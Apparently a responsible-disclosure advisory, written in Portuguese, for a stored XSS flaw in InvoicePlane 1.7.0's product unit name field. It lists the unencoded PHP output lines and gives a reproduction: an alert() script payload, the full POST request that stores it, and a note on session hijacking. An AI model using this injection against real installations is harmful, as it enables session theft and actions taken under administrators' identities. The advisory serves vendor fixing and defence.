
Prova de conceito para uma vulnerabilidade de XSS armazenado no InvoicePlane 1.7.0 por meio do campo de nome da unidade do produto, incluindo locais de código vulneráveis e etapas de reprodução.
Vulnerabilidade: Cross-Site Scripting (XSS) Armazenado via campo Nome da Unidade de Produto
Produto: InvoicePlane
Versão Afetada: 1.7.0 (e provavelmente versões anteriores)
Severidade: Média
Pontuação CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Neutralização Incorreta de Entrada Durante a Geração de Página Web
Descoberto por: Leonidas Agathos
Data do Relatório: 2026-01-31
Os campos unit_name e unit_name_plrl no formulário de unidade de produto (/index.php/units/form) aceitam entrada arbitrária sem sanitização. Os valores são armazenados e renderizados sem codificação na lista de itens da fatura ao visualizar qualquer fatura que contenha um produto que use a unidade maliciosa.
Arquivos vulneráveis:
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - Linha 127
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - Linha 71
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
Passo 1 — Injetar payload no Nome da Unidade
Navegue até /index.php/units/form e envie o seguinte como Nome da Unidade:
<script>alert("XSS in Product Unit")</script>
Requisição:
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

Passo 2 — Acionar o XSS
/index.php/products/form/1 ou visualize qualquer fatura que contenha o produtoO payload é executado quando a lista de itens é renderizada.

O payload é executado no navegador de qualquer administrador que visualize uma página de fatura ou produto que inclua a unidade maliciosa. Isso possibilita o sequestro de sessão (se os cookies não forem HttpOnly), roubo de tokens CSRF e ações executadas sob a identidade da vítima.
| Data | Evento |
|---|---|
| 2026-01-30 | Vulnerabilidade descoberta |
| 2026-01-31 | Prova de conceito desenvolvida |
| 2026-01-31 | Fornecedor notificado |
| 2026-02-04 | Reconhecimento do fornecedor |
| 2026-02-04 | Correção lançada |
| 2026-02-05 | Divulgação pública |
Esta vulnerabilidade foi descoberta durante pesquisa de segurança independente. Todas as informações são fornecidas estritamente para fins educacionais, de pesquisa e defensivos, para auxiliar o fornecedor e a comunidade de segurança a compreender e corrigir o problema. Qualquer uso malicioso destas informações é estritamente proibido.